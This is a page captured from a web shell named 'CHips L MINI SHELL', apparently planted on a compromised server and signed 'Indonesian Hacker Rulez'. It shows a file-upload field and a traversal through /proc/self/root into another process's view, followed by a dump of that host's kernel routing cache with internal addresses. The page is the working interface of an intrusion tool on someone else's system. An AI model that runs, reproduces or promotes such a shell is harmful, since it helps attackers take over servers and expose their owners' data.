CHips L MINI SHELL

CHips L pro

Current Path : /proc/self/root/proc/3/task/3/root/proc/1949/net/
Upload File :
Current File : //proc/self/root/proc/3/task/3/root/proc/1949/net/rt_cache

Iface	Destination	Gateway 	Flags		RefCnt	Use	Metric	Source		MTU	Window	IRTT	TOS	HHRef	HHUptod	SpecDst                          
lo	4CE70640	4CE70640	84000000	0	1	0	55A7DE12	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	1	0	73FA3B0D	65535	0	0	00	-1	0	4CE70640                                                        
venet0	986B9203	986B9203	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
lo	4CE70640	4CE70640	84000000	0	1	0	DD5E7512	65535	0	0	00	-1	0	4CE70640                                                        
venet0	55A7DE12	55A7DE12	       0	0	0	0	4CE70640	1500	0	13159	00	-1	0	4CE70640                                                 
venet0	EEFEE143	EEFEE143	       0	0	0	0	4CE70640	1500	0	0	08	-1	0	4CE70640                                                     
venet0	07657512	07657512	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	1C853892	1C853892	       0	0	0	0	51E70640	1500	0	0	00	-1	0	51E70640                                                     
venet0	1C853892	1C853892	       0	0	1	0	54E70640	1500	0	0	00	-1	0	54E70640                                                     
venet0	A7499103	A7499103	       0	0	0	0	4CE70640	1500	0	143	00	-1	0	4CE70640                                                   
lo	4CE70640	4CE70640	84000000	0	15	0	EF907612	65535	0	0	00	-1	0	4CE70640                                                       
lo	4CE70640	4CE70640	84000000	0	21	0	07657512	65535	0	0	00	-1	0	4CE70640                                                       
venet0	CC248E03	CC248E03	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	DF6B9103	DF6B9103	       0	0	0	0	4CE70640	1500	0	71496	00	-1	0	4CE70640                                                 
lo	4CE70640	4CE70640	84000000	0	42	0	986B9203	65535	0	0	00	-1	0	4CE70640                                                       
venet0	D3220C03	D3220C03	       0	0	0	0	4CE70640	1500	0	147	00	-1	0	4CE70640                                                   
venet0	EDFEE143	EDFEE143	       0	0	0	0	4CE70640	1500	0	0	08	-1	0	4CE70640                                                     
venet0	63135442	63135442	       0	0	0	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
lo	4CE70640	4CE70640	84000000	0	1	0	778B7612	65535	0	0	00	-1	0	4CE70640                                                        
venet0	73FA3B0D	73FA3B0D	       0	0	0	0	4CE70640	1500	0	185	00	-1	0	4CE70640                                                   
lo	51E70640	51E70640	84000000	0	1	0	C5A3F859	65535	0	0	00	-1	0	51E70640                                                        
lo	4CE70640	4CE70640	84000000	0	1	0	32907612	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	5	0	B2259003	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	0	0	EEFEE143	65535	0	0	08	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	0	0	63135442	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	35	0	069B0C03	65535	0	0	00	-1	0	4CE70640                                                       
lo	4CE70640	4CE70640	84000000	0	0	0	EDFEE143	65535	0	0	08	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	22	0	73830E03	65535	0	0	00	-1	0	4CE70640                                                       
venet0	1C853892	1C853892	       0	0	0	0	55E70640	1500	0	0	00	-1	0	55E70640                                                     
venet0	DD5E7512	DD5E7512	       0	0	0	0	4CE70640	1500	0	143	00	-1	0	4CE70640                                                   
lo	4CE70640	4CE70640	84000000	0	1	0	EA289103	65535	0	0	00	-1	0	4CE70640                                                        
venet0	B2259003	B2259003	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	CB671703	CB671703	       0	0	0	0	4CE70640	1500	0	7797	00	-1	0	4CE70640                                                  
lo	4CE70640	4CE70640	84000000	0	1	0	DF6B9103	65535	0	0	00	-1	0	4CE70640                                                        
lo	52E70640	52E70640	84000000	0	0	0	F1BA37C2	65535	0	0	00	-1	0	52E70640                                                        
venet0	EF907612	EF907612	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	778B7612	778B7612	       0	0	0	0	4CE70640	1500	0	65927	00	-1	0	4CE70640                                                 
lo	4CE70640	4CE70640	84000000	0	1	0	A7499103	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	1	0	D3220C03	65535	0	0	00	-1	0	4CE70640                                                        
venet0	1C853892	1C853892	       0	0	0	0	53E70640	1500	0	0	00	-1	0	53E70640                                                     
lo	4CE70640	4CE70640	84000000	0	0	0	F3ACDF12	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	1	0	CB671703	65535	0	0	00	-1	0	4CE70640                                                        
lo	4CE70640	4CE70640	84000000	0	6	0	C2784AD0	65535	0	0	08	-1	0	4CE70640                                                        
venet0	069B0C03	069B0C03	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
lo	4CE70640	4CE70640	84000000	0	23	0	CC248E03	65535	0	0	00	-1	0	4CE70640                                                       
venet0	32907612	32907612	       0	0	0	0	4CE70640	1500	0	155	00	-1	0	4CE70640                                                   
venet0	C5A3F859	C5A3F859	       0	0	0	0	51E70640	1500	0	0	00	-1	0	51E70640                                                     
venet0	73830E03	73830E03	       0	1	1	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	C2784AD0	C2784AD0	       0	1	0	0	4CE70640	1500	0	0	00	-1	0	4CE70640                                                     
venet0	EA289103	EA289103	       0	0	0	0	4CE70640	1500	0	120	00	-1	0	4CE70640                                                   

Copyright 2K16 - 2K18 Indonesian Hacker Rulez